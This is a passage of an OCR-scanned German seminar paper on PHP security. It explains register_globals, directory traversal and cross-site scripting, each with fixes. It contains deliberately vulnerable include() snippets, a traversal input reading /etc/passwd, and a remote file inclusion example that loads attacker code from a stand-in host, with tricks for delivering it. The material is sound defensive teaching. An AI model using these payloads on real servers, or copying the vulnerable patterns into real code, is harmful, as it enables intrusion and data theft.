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PHP ist heute eine der verbreitetsten Scriptsprachen fiir Weban-
wendungen. Die leichte Erlernbarkeit sowohl fiir Programmieran-
fanger als auch fiir Fortgeschrittene, die gute Integration in beliebte
Webserver-Software wie Apache oder IIS, die umfassende Funkti-
onsbibliothek, die grofie Anzahl an frei verfiigharen, quelloffenen
Scriptpaketen und nicht zuletzt die fast schon selbstverstidndliche
Verfiighbarkeit bei den meisten Webhostern sorgten fiir diese Ver-
breitung. Doch PHPs einsteigerfreundliche Lernkurve und Funkti-
onsreichtum werden zu Lasten der Sicherheit erreicht und haben
der Sprache den Ruf, die unsicherste Scriptsprache weltweit zu sein,
eingebracht. In der Tat besitzen viele bekannte PHP-Anwendungen
eine lange Liste von teils schweren Sicherheitsliicken, und es tauchen
téglich neue auf.

Dieses Paper soll einen Einblick in die am h&ufigsten auftretenden
Sicherheitsprobleme beim Programmieren mit PHP geben; wie sie
funktionieren, wie man sie erkennt und wie man sie vermeiden kann.
Es richtet sich primér an Autoren von PHP-Software, bietet aber
auch eine kurze Einfithrung fiir Personen, die bislang nur andere
Programmiersprachen genutzt haben.
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1 Einleitung

1 Einleitung
1.1 Uber diese Arbeit

Diese Ausarbeitung entstand im Herbstsemester 2006 im Rahmen des Hacker-
Seminars des Lehrstuhls fiir Praktische Informatik I' an der Universitit Mann-
heim?. Aktuelle Versionen der Vortragsfolien sowie dieses Dokumentes finden
sich unter http://scytale.de/talks/phpsecurity/. Kommentare, Korrektu-
ren, Anregungen und Ahnliches bitte per Mail an den Autor. Ich werde versu-
chen, auch Fragen zu beantworten, allerdings nur solche, die nicht durch das
einfache Benutzen einer Suchmaschine gekliart werden koénnen.

Es wird vorausgesetzt, dass der Leser grundlegendes Wissen iiber das Inter-
net, das World Wide Web sowie funktionale Programmierung im Allgemeinen
besitzt. PHP-Kenntnisse sollten nicht notig sein, der Abschnitt 2.3 ab Seite 6
bietet einen kurzen Uberblick iiber PHPs Eigenheiten in Bezug auf Syntax, Da-
tentypen etc. Diese Informationen sollten ausreichen, um die hier beschriebenen
Sicherheitsliicken zu verstehen, sofern man bereits mit einer anderen funktio-
nalen oder objektorientierten Programiersprache Erfahrungen gesammelt hat.

Der Abschnitt ,,SQL Injection® setzt rudimentéires Verstehen von SQL-Aus-
driicken voraus.

1.2 Danksagung

Es handelt sich hier zwar um eine relativ kleine Arbeit, trotzdem soll einigen
Personen mein Dank ausgesprochen werden.

e Thorsten Holz fiir die Betreuung meines Vortrages und dieser Ausarbei-
tung, sowie fiir die Lockerheit trotz immer neuer Verztégerungen.

e Prof. Freiling und den Mitarbeitern des Lehrstuhls PI1 fiir frischen Wind
in der Hochschulinformatik und eine praxisnahe, interessante Ausbildung.

e Dem Chaostreff Mannheim fiir die Initialziindung, Zeit in die Aufberei-
tung von Informationen fiir die Weiterbildung anderer Menschen zu in-
vestieren.

e yorn fiir ein paar interessante Kniffe im Bereich SQL-Injection.
e Icefeldt fiir die Katze im Kiihlschrank und ihre Sippschaft.
e Frameset fiir seine Gelassenheit.

e Dem DZ(CP-Team fiir den enormen Unterhaltungswert, der nicht nur mich
erheitert hat.

o Allen Entwicklern freier Software fiir das umwerfende Gesamtwerk.

e Tanja fiir ihr Verstdndnis und ihre Unterstiitzung.

"http://pil.informatik.uni-mannheim.de/
’http://www.uni-mannheim.de/
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PHP (frither eine Abkiirzung fiir Personal HomePage tools, heute fiir PHP Hy-
pertext Preprocessor) ist eine Open-Source-Scriptsprache, die urspriinglich zur
Anreicherung von Websites mit dynamischen Inhalten entwickelt wurde. Dies
ist auch heute noch ihr hauptséichlicher Einsatzzweck, obwohl es inzwischen
Moglichkeiten gibt, Kommandozeilenscripts® oder GUI-Anwendungen® zu ent-
wickeln. Die Syntax der Sprache dhnelt Java und Perl. PHP ist besonders bei
Einsteigern in die Welt der Webprogrammierung oder sogar der Programmie-
rung im Allgemeinen sehr beliebt. Die Griinde dafiir sind hauptséchlich:

e Fast jeder Webspace-Anbieter unterstiitzt PHP-Scripts.

e Code muss nicht mithsam kompiliert werden, bereits mit einigen Zeilen
kann man interessante Ergebnisse erzielen.

e Es existiert eine sehr grofle Entwicklergemeinde, massenhaft Literatur so-
wie eine grofle Anzahl an fertigen Codebeispielen und vollstédndigen An-
wendungen.

Diese Beliebtheit und weite Verbreitung sorgen allerdings auch dafiir, dass PHP-
Scripts haufig zum Ziel von Angriffen werden.

2.1 Geschichte

PHP wurde in seiner urspriinglichen Form 1995 von Rasmus Lerdorf entwickelt,
damals noch als lose Sammlung von Perl-Scripts, die den Zugriff auf Lerdorfs
Online-Lebenslauf protokollieren sollten. Zwei Jahre spéter erschien PHP/FI
(fiir form interpreter), eine in C verfasste und stark erweiterte Version. Nur
ein gutes halbes Jahr spiter wurde das von Andi Gutmans und Zeev Suraski
mit Kooperation von Lerdorf komplett neu geschriebene PHP 3 veroffentlicht
und die Firma Zend Technologies Ltd. gegriindet, deren Zend Engine die Basis
fiir das 2000 erschienene PHP 4 und in der Version 2 fiir den heute aktuellen
PHP 5-Zweig, der 2004 fertiggestellt wurde, bildet.

PHP 4 lidutete den Anfang der Unterstiitzung fiir objektorientiertes Program-
mieren in PHP ein, beschrénkte sich aber auf einige wenige Sprachkonstruk-
te, die keine ernsthafte Objektorientierung zulieSen. Dies sollte sich in PHP 5
dndern, in dem unter anderem Sichtbarkeitsmodifikatoren fiir Variablen und
Methoden sowie Exceptions eingefithrt wurden. Auflerdem erschien in PHP 5
ein neues objektorientiertes Interface fiir den Zugriff auf MySQL-Datenbanken
(MySQLi), ein Reflection-API sowie SimpleXML, eine unperformante aber ein-
fach zu benutzende Moglichkeit, XML-Daten als Objekte anzusprechen.

2.2 Ausfithrungsumgebung

Lasst man den verschwindend kleinen Teil der Félle, in denen PHP fiir Befehls-
zeilen-Scripts oder eigenstindige Anwendungen verwendet wird, aufler Acht,

3http://php.net/manual/en/features.commandline . php
‘http://gtk.php.net/
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ist die Ausfithrungsumgebung fiir PHP-Code relativ identisch (hier vereinfacht
dargestellt):

Ein Benutzer gibt eine Webadresse in seinen Browser ein (beispielsweise
http://example.com/news.php). Der Webserver example.com wird kontak-
tiert und die Seite /news.php angefragt. Daraufhin sucht der Webserver in-
nerhalb seines Document Root nach der Datei news.php. Das Document Root
ist ein Verzeichnis auf dem Webserver, das als Wurzelverzeichnis (engl. root
directory) fir auszuliefernde Dokumente behandelt wird. Dateien, die in der
Verzeichnishierarchie oberhalb des Document Root liegen, sind (normalerwei-
se) nicht nach auen hin zugéinglich. Damit wird eine Abschottung des restli-
chen Dateisystems realisiert. Sofern der Webserver die Datei nicht findet, wird
eine Fehlermeldung generiert. Ansonsten wird die Anfrage dem PHP-Parser
iibergeben, der entweder als Modul in den Webserver integriert ist (z.B. mod_php
fiir Apache) oder anderweitig aufgerufen wird (z.B. als CGI-Programm). Der
PHP-Parser lddt die PHP-Datei und arbeitet den Code ab. Dabei stellt er dem
Script einige Informationen iiber seine Ausfiihrungsumgebung zur Verfiigung
(iibergebene Parameter, Umgebungsvariablen, Request-Header etc.). Die Aus-
gabe des Scripts wird mit (bei Bedarf manipulierbaren) HTTP-Headern an den
Webserver zuriickgegeben und an den Client geschickt.

Um ein paar weit verbreitete Falschinformationen gleich im Voraus aus dem
Weg zu rdumen:

e PHP-Scripts werden auf dem Server ausgefiithrt. Der Quellcode gelangt
somit (aufer bei Fehlkonfigurationen) nicht an den Client. Viele Anwen-
dungen nutzen dies aus, indem sie z.B. Zugangsdaten zur Datenbank als
PHP-Script speichern, in dem einfach nur Variablen gesetzt werden und
das von der Anwendung eingebunden werden kann. Dabei muss man je-
doch darauf achten, dass keine Schlupflécher bestehen, {iber die die Datei
als Quellcode gelesen werden kann.

e Wenn PHP installiert ist, werden (im Normalfall) nicht ausnahmslos alle
Client-Anfragen vom PHP-Parser behandelt, sondern der Server entschei-
det, welche Pfade zu PHP gehoren und welche nicht (meist nach Datei-
endung, seltener auch ganze Unterverzeichnisse oder Aliase).

e Das WWW ist grundsétzlich zustandslos. Wéahrend ein Besucher sich
durch eine Website klickt, sieht der Server (und damit auch PHP) nur
einzelne, unabhéngige Zugriffe. Wenn es notig ist, die Zugriffe einem be-
stimmten Nutzer zuzuordnen (z.B. fiir Zugriffsberechtigungen, mehrere
Schritte eines Bestellvorgangs, Bléittern durch Suchergebnisse etc.), ist
es Aufgabe des Programmierers, eine Technik einzusetzen, die die Illusion
von Zustandsinformationen schafft. Hier bieten sich beispielsweise Cookies
oder die (auf Cookies oder halbautomatischer Generierung von Hyperlinks
aufbauende) Session-Verwaltung von PHP an. Viele Entwickler vergessen,
dass ein Benutzer nicht an eine bestimmte Zugriffsreihenfolge gebunden
ist, sondern jederzeit bei jedem Script mit jedem moglichen Parameter
»einsteigen“ kann.

Document
Root
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e PHP-Scripts kénnen nicht nur fiir Webseiten verwendet werden, sondern
auch als Kommandozeilenprogramme oder gar grafische Anwendungen
laufen.

2.3 Syntax, Datentypen und Eigenheiten

Bei PHP-Scripts handelt es sich um normale Textdateien. Da die Sprache ur-
spriinglich entwickelt wurde, um grofitenteils statisches HTML mit einigen in-
teraktiven Elementen zu versehen, wird nur Text zwischen <?php und 7> als
Code verstanden und ausgefiihrt. Alles andere wird genau so, wie es in der Datei
steht, zuriickgegeben. Somit erzeugt beispielsweise der Code

<html><head>Test</head><body><?php echo(23-5); ?></body></html>
die Ausgabe
<html><head>Test</head><body>18</body></html>

PHP-Befehle werden (wie in Java) mit einem Semikolon beendet, Zeilenum-
briiche und Einriickung dienen nur der besseren Lesbarkeit. Code-Blocke werden
von geschweiften Klammern umschlossen, Funktionsparameter folgen dem Na-
men in runden Klammern und mit Komma getrennt, benannte Parameter (wie
z.B. in Python) sind nicht moglich, optionale hingegen schon. Variablen wer-
den nicht deklariert, sondern einfach verwendet. Funktionsparameter sind nicht
typisiert, mit Ausnahme des so genannten Type Hinting (Angeben eines Klas-
sennamens), das jedoch nur fiir Klassen funktioniert. Ebensowenig existiert eine
Typisierung fiir Riickgabewerte von Funktionen. Zwischen Datentypen (Strings,
Zahlen, Arrays, Objekte, boolsche Werte, null) wird automatisch mehr oder
weniger sinnvoll konvertiert. Eine Konvertierung zu einem bestimmten Typ er-
zwingt man, indem man dem Variablennamen einen Typbezeichner in runden
Klammern voranstellt, z.B. $n = (int)$string.

Variablen beginnen unabhéngig von ihrem Typ (String, Integer, Array, Ob-
jekt etc.) und Giiltigkeitsbereich (lokal, global) mit einem Dollarzeichen, ge-
folgt von beliebigen Buchstaben, Ziffern, Unterstrichen und Sonderzeichen mit
Bytewert 0x7f bis Oxff, wobei das erste Zeichen keine Ziffer sein darf. PHP-
Bezeichner diirfen also durchaus Umlaute und andere Sonderzeichen enthalten.
Fiir Funktions- und Klassennamen gelten die selben Regeln, sie beginnen jedoch
nicht mit einem Dollarzeichen. Innerhalb von Funktionen sind alle verwende-
ten Variablen lokal, selbst dann, wenn sie im Hauptprogramm mit einem Wert
belegt wurden (dieser ist dann in der Funktion nicht sichtbar). Mochte man in
einer Funktion globale Variablen benutzen, so muss man sie mit dem Befehl
global der Funktion bekannt machen.

Strings werden in doppelte oder einfache Anfithrungszeichen gesetzt. Der Un-
terschied besteht darin, dass in doppelten Anfiihrungszeichen Variablen und vie-
le Backslash-Kombinationen benutzt werden kénnen (z.B. "x = \"$x\"\n"), in
einfachen Anfiihrungszeichen jedoch nur die Kombination \’ zum Escapen der
Anfiithrungszeichen selbst.
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Der Zuweisungsoperator ist das Gleichheitszeichen. Doppelte Gleichheitszei-
chen priifen auf Aquivalenz, wobei auch Variablen verschiedener Typen dquiva-
lent sein konnen (so ist z.B. 5 == ’5’ ein wahrer Ausdruck). Soll auch der Typ
identisch sein, benutzt man dreifache Gleichheitszeichen. Analog dazu existie-
ren die Operatoren ,nicht dquivalent* (!=) und ,nicht identisch* (!==). Dieser
Unterschied ist nicht zu unterschitzen. So gibt beispielsweise strpos()® die
Position eines Strings innerhalb eines anderen zuriick (wobei bei Null begonnen
wird zu zdhlen), oder false, falls der String iiberhaupt nicht vorkommt. Da
false fdquivalent zu 0 ist, wiirde ein Ausdruck wie

if (strpos(’abc’, ’a’) == false) // oder auch !strpos(...)

falschlicherweise davon ausgehen, dass das a nicht in abc enthalten ist.

Strings werden mit dem Operator . verkettet, nicht etwa mit +, das zu ei-
ner Konvertierung in Zahlenwerte mit darauf folgender Addition fithren wiirde.
So ist ’2?.73” == ’23’ aber ’2°+’3” == 5 und 2 . 3 == 23 (nicht in die
Komma-Falle tappen: 2.3 == 2.3).

Ein Objekt wird mit $x = new Foo($param) ; erstellt, die Anzahl Parameter
variiert dabei natiirlich je nach Konstruktor. Zugriff auf Eigenschaften und Me-
thoden eines Objektes erlangt man nicht durch den .-Operator, sondern durch
den ->-Operator, also z.B. $x->size oder $x->run(). Dabei ist zu beachten,
dass auch bei Eigenschaften eines Objektes nach dem Pfeiloperator kein Dol-
larzeichen auftaucht. Statische Eigenschaften und Methoden werden iiber einen
doppelten Doppelpunkt erreicht, z.B. Foo: :getVersion().

Es soll nicht unerwihnt bleiben, dass PHP kein ,,einfaches* Uberladen kennt,
es ist also beispielsweise nicht moglich, eine Funktion oder Methode x($a, $b)
und eine x($a) zu definieren. Bendtigt man eine solche Funktionalitdt, muss
man entweder auf optionale Parameter zuriickgreifen (indem man in der Funkti-
onsdeklaration nach dem Parameter ein Gleichheitszeichen und einen Standard-
wert angibt), oder aber kompliziertere Strukturen wie Overloading® verwenden.

In PHP werden einzeilige Kommentare mit // eingeleitet, mehrzeilige in /*
und */ eingeschlossen. Eine Unterscheidung zwischen Arrays und Hashmaps
existiert nicht, genausowenig wie eine im Voraus festgelegte Grofie der Arrays.
Als Schliissel konnen sowohl Ganzzahlen (,normales® Array) als auch Strings
(,assoziatives Array“) verwendet werden. Ein Beispiel:

$x = array(3, ’cow’, 17=>’hagbard’, ’oh’=>0);
$x[] = 12; // Wert an das Array anhéngen
$X[’Oh’] = 70);

Das Array hitte nun die folgenden Werte (jeweils Schliissel=>Wert):

1 => ’cow’

17 => ‘’hagbard’
'oh’ => ’0?

18 => 12

http://php.net/manual/en/function.strpos.php
Shttp://php.net/manual/en/language.oop5.overloading. php
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2.3.1 Daten von auBBen

Als Scriptsprache fiir das Web muss PHP natiirlich umfassende Moglichkeiten
bieten, auf iibergebene Parameter aus URLs, Formularen, Cookies usw. zu rea-
gieren. Dafiir existieren so genannte superglobale Arrays, also Arrays, die selbst
ohne die Einbindung mittels global iiberall verfiighar sind.

Je nach Ubergabemethode der Parameter finden sich diese in einem ande-
ren Array. Im Query-Abschnitt des URL iibergebene Parameter werden in
$_GET, via HTTP POST iibergebene Parameter in $_POST abgelegt. Cookies
finden sich in $_COOKIE, mit der PHP-Session-Verwaltung” angelegte Werte
unter $_SESSION, Umgebungsvariablen in $_ENV und via POST hochgelade-
ne Dateien in $_FILES. Fiir Anwendungen, die flexibel bei der Methode der
Parameteriibergabe sind, existiert $_REQUEST, das alle Eintrige aus $_GET,
$_POST und $_COOKIE vereint. Sollte dabei der selbe Schliissel iiber mehre-
re Methoden iibergeben worden sein, wird iiber die Konfigurationseinstellung
variables_order® die Prizedenzreihenfolge festgelegt.

AuBerdem finden sich in $_SERVER Informationen iiber den Webserver und die
HTTP-Anfrage, beispielsweise der ungeparste Query-String (,,alles nach dem
Fragezeichen“ im URL), iibergebene HTTP-Header, das Document Root, URL-
und Dateisystempfade, die Version der Serversoftware und vieles mehr.

Natiirlich kann hier nur ein kurzer Einblick in die Sprache PHP und ihre
Moglichkeiten und Eigenheiten gegeben werden. Wer tiefer einsteigen méchte,
dem seien die auch auf deutsch verfiigbare Anleitung?, ein Tutorial wie z.B. das
der deutschen PHP-Anwendergruppe im QuakeNet!'? oder eines der zahlreichen
Biicher zum Thema ans Herz gelegt.

3 Sicherheitsliicken und Angriffsszenarien

Bevor wir uns konkreten Beispielangriffen auf PHP-Scripts zuwenden, darf ein
wichtiger Hinweis nicht fehlen: Alle folgenden Beispiele sind moglichst kurz
konstruierte Schwachstellen. In der Realitéit sind die Liicken meist wesentlich
schwerer zu finden, treten nur unter bestimmten Umsténden auf oder werden
erst beim Update auf eine neuere PHP-Version zum Problem. Auflerdem gibt es
natiirlich nicht nur die hier aufgefiihrten Angriffe, sondern weit mehr maogliche
Programmierfehler. Nicht zu unterschétzen sind auch Angriffe auf den PHP-
Interpreter selbst: Buffer Overflows und dhnliche Attacken gegen den zu Grun-
de liegenden C-Code waren bislang in verschiedenen PHP-Versionen mdglich.
Gegen diese Art Angriffe schiitzt man sich am besten durch regelméaflige Upda-
tes oder durch Benutzen einer speziell abgesicherten PHP-Version, wie sie z.B.
das Hardened-PHP Project'! anbietet.

Betrachten wir nun also einige typische Programmierfehler und wie man sie
vermeidet.

"http://php.net/manual/en/ref .session.php
8http://php.net/manual/en/ini.core.php#ini.variables-order
“http://php.net/manual/

Ohttp://tut.php-q.net/

Yhttp://www.hardened-php.net/
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3.1 Fremdinitialisierte Variablen

Bis zur Version 4.2, die am 22. April 2002 veroffentlicht wurde, war die Kon-
figurationsoption register_globals!? standardmiflig aktiviert. Diese Option
sorgt dafiir, dass zu jedem Schliissel in $_REQUEST sowie zu Umgebungsva-
riablen, Session-Variablen und Cookies eine globale Variable eingefiihrt wird.
Schickt der Aufrufer beispielsweise ein Cookie namens foo mit, die den String
bar enthélt, so hat dies den Effekt, als sei direkt vor dem Scriptaufruf eine
globale Variable $foo = ’bar’ definiert worden.

Viele PHP-Programmierer wussten bis zum Erscheinen von PHP 4.2 nicht
einmal, dass dieses Verhalten optional war. Sie waren der Meinung, dass die
globalen Variablen schlicht PHPs Art waren, von aufien iibergebene Daten
zuganglich zu machen.

Das Problem mit register_globals wird dann einsehbar, wenn man den Fall
der uninitialisierten Variablen betrachtet, deren Verwendung durch die ,,Locker-
heit“ der PHP-Syntax geradezu gefordert wird. Da uninitialisierte Variablen vor
der ersten Verwendung implizit der Wert null zugewiesen wird, das je nach Ver-
wendung der Variablen auch automatisch zu false oder 0 ausgewertet werden
kann, findet sich in einigen Programmen schlechter Code wie dieser hier:

if (auth_level() == 1000)
$admin = true;

if ($admin)
// Give admin privileges or menus etc.

Hier nutzt der Programmierer aus, dass die Variable $admin im uninitialisier-
ten Zustand zu false evaluiert. Ist nun aber register_globals aktiv, so kann
ein Angreifer beispielsweise einen GET-Parameter admin=1 iibergeben; $admin
wiirde zu true evaluieren und der Angreifer konnte mit Adminprivilegien ar-
beiten.

Schutz gegen diese Art Angriff kann auf zweierlei Art erfolgen. Erstens natiir-
lich, indem man auf Parameter mittels $_GET und Konsorten zugreift. Damit ist
das geschriebene Script auch unabhéngig von dem Wert von register_globals
in der spéteren Ausfithrungsumgebung, denn diese Art Zugriff funktioniert im-
mer.

Zweitens sollte man sich angewohnen, Variablen trotz der Lockerheit PHPs in
dieser Hinsicht vor der ersten Benutzung zu initialisieren. Denn selbst wenn man
mit $_REQUEST auf Parameter zugreift, sind bei aktiviertem register_globals
in der Zielumgebung alle Variablen weiterhin angreifbar, beispielsweise in fol-
gendem Code, der aus einer Menge Transaktionen auf einem Girokonto erst den
aktuellen Kontostand und dann einen gutzuschreibenden Zinssatz berechnet:

$transactions = get_transactions($_SESSION[’account’]);

foreach ($transactions as $t)
$sum = $sum + $t;

2http://php.net/manual/en/security.globals.php
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$interest = $sum * 0.03;

/...

Hier kann der Angreifer wieder z.B. einen GET-Parameter wie sum=10000 {iber-
geben. $sum wire dann nicht implizit mit null initialisiert (das im Falle einer
Addition zu 0 konvertiert wird), sondern mit dem String >10000° (der bei der
Addition zu seinem Zahlenwert konvertiert wird). Somit wiirde die Zinssatz-
berechnung 10.000 Wihrungseinheiten mehr in Betracht ziehen. Ein einfaches
Initialisieren der Variable mit $sum = 0 schliefit die Liicke.

3.2 File Disclosure / Directory Traversal

Wird aus Eingaben des Benutzers ein Dateiname konstruiert, so gilt es besonde-
re Schutzmafinahmen zu implementieren, um zu verhindern, dass ein Angreifer
Zugriff auf fremde Daten bekommt oder den Dateinamen anderweitig in nicht
vorgesehener Weise manipuliert. Das Problem versteht man am besten an einem
Beispiel:

<html><head><title>My cool web page</title></head><body><?php
include(’menu.html’);
include ($_GET[’page’]);

?7></body></html>

Dieser Einsatz von PHP erinnert stark an sogenannte Server Side Includes's:
FEinige Webserver unterstiitzen spezielle Tags innerhalb von HTML-Seiten, um
beispielsweise andere Dateien serverseitig einzubinden. So kann man beispiels-
weise auf verschiedenen Unterseiten ein zentrales Menii 0.4. einbinden. Hier
wird PHP als eine Art besseres SSI'* benutzt, um auf jeder Seite das selbe
Grundgeriist und Menii zu erhalten. Allerdings bindet nicht jede Unterseite das
zentrale Grundgeriist ein, sondern die zentrale Datei bindet an der passenden
Stelle die per Parameter iibergebene Datei ein. Die einzelnen Links haben bei
solchen Websites meist die Form index.php ?page=news.php; in news.php steht
dann der eigentliche Inhalt.

Bei diesem Code treten zweierlei Probleme auf. Erstens benutzt der Autor
include () zur Einbindung von statischen Seiten, was nicht nur unperformant
ist (die komplette statische Seite wird bei jedem Aufruf auf PHP-Code geparst),
sondern auch unnotigerweise eine weitere Angriffsmoglichkeit 6ffnet, ndmlich
das Ausfithren von PHP-Code, sollte jemand die Moglichkeit erhalten, die ,,sta-
tische“ Seite zu beschreiben.

Zweitens jedoch wird der page-Parameter in keinster Weise iiberpriift. Ein
Angreifer konnte nun beispielsweise den String ../../../../../.. /etc/passwd ii-
bergeben und sich so die Datei /etc/passwd ausgeben lassen (unter der An-
nahme, dass der Webserver mit einem unixartigen Betriebssystem lduft). Das
funktioniert aus zwei Griinden:

3http://de.wikipedia.org/wiki/Server_Side_Includes
14http: //de.wikipedia.org/wiki/Server_Side_Includes
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e Der Eintrag .. existiert in jedem Verzeichnis und verweist auf das je-
weils dariiber liegende Verzeichnis. So entspricht /etc/init.d/../apache2
dem Verzeichnis /etc/apache2. Der Angreifer muss die genaue Anzahl der
../ nicht kennen, da auch das Wurzelverzeichnis einen auf sich selbst
verweisenden . .-Eintrag besitzt.

e Die Datei /etc/passwd enthélt keinen giiltigen PHP-Code. Das ist aber
auch nicht weiter wichtig, da Dateiinhalt, der nicht in <?php-Tags steht,
einfach ausgegeben wird.

Diese Art von Sicherheitsliicken ist auch deshalb besonders heimtiickisch, weil
der Angreifer im Allgemeinen keine Quellcodekenntnis benotigt; dass die Seite
angreifbar ist, ist aus den Parametern im URL ersichtlich.

Dabei ist es relativ einfach, sich zu schiitzen. Zunéchst einmal sollte fiir sta-
tische Seiten readfile() benutzt werden statt include () oder vergleichbaren
Befehlen'®. Das eigentliche Problem des Directory Traversal 16st man am bes-
ten, indem man beispielsweise die Zeichenfolge ../ aus der Benutzereingabe
entfernt!S:

$file = str_replace(’../’, ’’, $_GET[’file’]);

Dieser Ansatz entspricht dem Blacklist-Prinzip: Alle Daten, die einem bestimm-
ten Muster entsprechen, werden entfernt.

Noch besser lasst sich das Script schiitzen, wenn Dateien nicht in Unterver-
zeichnissen liegen (einfach jegliche Slashes entfernen) oder wenn die Dateinamen
nur einen gewissen Zeichenvorrat nutzen (z.B. alphanumerisch):

$file = preg_replace(’/["a-zA-Z20-9.]1/’, ’’, $_GET[’file’]);

Dieser Code entfernt alle Zeichen, die nicht in der angegebenen Menge enthalten
sind, aus dem Parameter, verfolgt also den Whitelist-Ansatz.

3.3 Cross-Site Scripting (XSS)

Damit bezeichnet man das Einfiigen bzw. Einbinden von Code auf fremden
Websites. Da die Abkiirzung CSS bereits fiir die Formatierungssprache Casca-
ding Style Sheets!” verwendet wird, hat sich XSS eingebiirgert. Generell unter-
scheidet man diese Art Angriff nach dem Ausfithrungsort des Codes. Wird der
Browser eines Benutzers der fremden Website dazu gebracht, boswilligen Code
im Sicherheitskontext jener Website auszufiihren, so spricht man von clientsei-
tigem XSS. Fiihrt stattdessen der Server der angegriffenen Site den Code aus,
so handelt es sich um serverseitiges XSS. Letzteres ist auch unter dem Namen
Remote Code Execution, Remote File Inclusion oder Code Injection bekannt.

15als0 include_once(), require() und require_once()

16Besteht die Moglichkeit, dass das Script unter Windows ausgefiihrt wird, sollte man auch
an Backslashes denken.

"http://de.wikipedia.org/wiki/Cascading_Style_Sheets
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3.3.1 XSS auf Clientseite

Diversen Statistiken zufolge sind iiber 70% aller Websites verwundbar fiir Cross-
Site Scripting!®. Der Angriff besteht darin, an irgendeiner verwundbaren Stelle
HTMIL-Code einzugeben, der von der Website nicht gefiltert und entweder di-
rekt als ,, Antwort“ wieder zuriick geschickt oder permanent, auch fiir andere
Benutzer anzeigbar, gespeichert wird. Hat man dies erreicht, so wird der HTML-
Code durch den Browser des Opfers ausgefiihrt, als wiirde er zur angegriffenen
Website gehoren. Damit erlangt dieser Code beispielsweise mittels JavaScript
Zugriff auf die Cookies des Benutzers, und kann sie an den Angreifer zuriick
schicken.

Kann beispielsweise ein Benutzer eines Forumsystems als Benutzername <!--
eintragen, und wird dieser Benutzername bei jedem seiner Posts ausgegeben
(wovon man ausgehen kann), so sorgt dieser HTML-Code dafiir, dass der Rest
der Seite als Kommentar aufgefasst und nicht angezeigt wird. Natiirlich hindert
den Benutzer auch nichts daran, als Namen in ein <script>-Tag eingebunde-
nen JavaScript-Code zu verwenden, der beispielsweise im Hintergrund, von den
Nutzern des Forums unbemerkt, ausgefiihrt wird.

Die einfachste Abwehr gegen diese Angriffe besteht darin, alle HTML-Be-
nutzereingaben mittels htmlspecialchars() zu bereinigen. Diese Funktion er-
setzt unter anderem die Zeichen < und > durch ihre korrekten Entities (&1t;
und &gt ;).

Problematisch wird es allerdings dann, wenn bestimmte HTML-Codes zuge-
lassen werden sollen, z.B. um den Forenbenutzern begrenzte Moglichkeiten zur
Gestaltung oder zum Einbinden von Hyperlinks zu geben. In diesem Fall muss
man ,,bosartigen* von , gutartigem* Code unterscheiden kénnen. Hier muss man
allerdings bedenken, dass Browser erstens viele syntaktisch eigentlich inkorrek-
te Konstruktionen , groflziigig® parsen und trotzdem ausfithren; somit haben
Filter, die darauf basieren, dass der Schadcode standardkonformes HTML ist,
keine Chance. Zweitens haben Browser des ofteren exotische Bugs, die eben-
falls ausnutzbar sind.'® So ignoriert der Internet Explorer beispielsweise bei
als US-ASCII kodierten Seiten das hochstwertige Bit jedes Bytes. Ein < kann
somit nicht nur als Bytewert 60, sondern auch als 188 dargestellt werden (im
Latin 1-Zeichensatz das Zeichen %.

Hier gilt als oberste Regel: Whitelists statt Blacklists. Das bedeutet: An-
statt davon auszugehen, alle Schadcodes herausfiltern zu kénnen, sollte man
als Grundeinstellung {iberhaupt keinen HTML-Code zulassen, und nur sehr
eng eingegrenzte Ausnahmen definieren, die verwendet werden kénnen.

3.3.2 XSS auf Serverseite

Hier fiihrt der angegriffene Webserver den Code im Sicherheitskontext des ver-
wundbaren Scripts aus, so als wiirde der Schadcode direkt zum Script gehoren.

8Quelle z.B. White Hat Security, s. http://www.darkreading.com/document .asp?doc_id=
111482

9Fine ausfiihrliche Ubersicht zum Thema ,Filteriitberwindung® findet sich auf http://ha.
ckers.org/xss.html.
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Das bedeutet, dass der Angreifer Variablen und andere Informationen des mo-
mentan laufenden Scripts auslesen und veréindern kann. Auflerdem erhélt der
Angreifer Zugriff auf lokale Sockets und das lokale Dateisystem im selben Um-
fang wie das angegriffene Script. Dies sind mindestens alle direkt zur Anwen-
dung gehoérenden Dateien (auch z.B. Konfigurationsdateien mit Zugangsdaten
zur Datenbank), im Normalfall alle Webdateien des selben Benutzers (z.B. bei
Massenhostern), manchmal auch alle Webdateien sémtlicher Benutzer.
Als Beispiel dient der folgende Code:

<html><head><title>My cool web site</title></head><body><?php
include($_GET[’page’].’ .php’);
7></body></html>

Diese Liicke erinnert nur allzu deutlich an Directory Traversal-Angriffe. Durch
das Suffix .php, das an alle Dateinamen angehéingt wird, sind die Moglichkeiten
des Angreifers allerdings etwas eingeschriankt, zumindest was Directory Traver-
sal angeht. Dieser Code birgt jedoch eine zweite, viel schwerere Liicke, durch
die der Angreifer beliebigen Schadcode ausfithren kann. Einzige Voraussetzung
ist die Konfigurationseinstellung allow_url_fopen, die die sogenannten fopen-
Wrapper?® steuern. Dahinter verbirgt sich die (oft recht praktische) Moglichkeit,
diversen PHP-Funktionen fiir Dateiein- und -ausgabe statt lokalen Dateinamen
URLs zu iibergeben. Somit muss nicht erst ein HT'TP-Client implementiert wer-
den, um auf den Inhalt einer Website zugreifen zu koénnen, ein simpler Aufruf
von

$text = file_get_contents(’http://scytale.de/index.html’);

reicht aus.

Leider kennen viele Entwickler diese Fahigkeiten nicht oder vergessen sie allzu
héufig. Dies fiihrt dazu, dass durch unzureichend gefilterte Eingaben Angreifer
Dateien auf fremden Webservern einbinden kénnen. Im obigen Beispiel konnte
der Angreifer den Parameter page=hittp://hjx.yu/omg iibergeben. Mit aktivier-
tem allow_url_fopen wiirde der angegriffene Webserver die Datei omg.php
auf dem Server h4x.yu nachladen und wie eine lokale Datei interpretieren und
ausfithren. Somit kann der Angreifer den Webserver zur Ausfithrung beliebigen
Codes bringen.

Man koénnte jetzt argumentieren, dass der PHP-Code beim HTTP-Zugriff auf
h4x.yu bereits auf dem dortigen Webserver ausgefiithrt wird und nur HTML
zuriickgegeben wird. Das mag normalerweise stimmen, der Angreifer hat aber
diverse Moglichkeiten, die lokale Ausfithrung zu umgehen:

e Er erstellt ein PHP-Script, das selbst wiederum PHP-Code ausgibt, z.B.
<?php echo(’<?php phpinfo(); ?>’); 7>

e Er verwendet eine .htaccess-Datei, die seinen Webserver anweist, diese
PHP-Datei nicht auszufiihren:

2Onttp://php.net/manual/en/wrappers . php
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AddType text/plain .php

e Er benutzt einen Webserver, der kein PHP unterstiitzt.

Diese Art von Liicke lisst sich relativ einfach schliefen, indem man fopen-
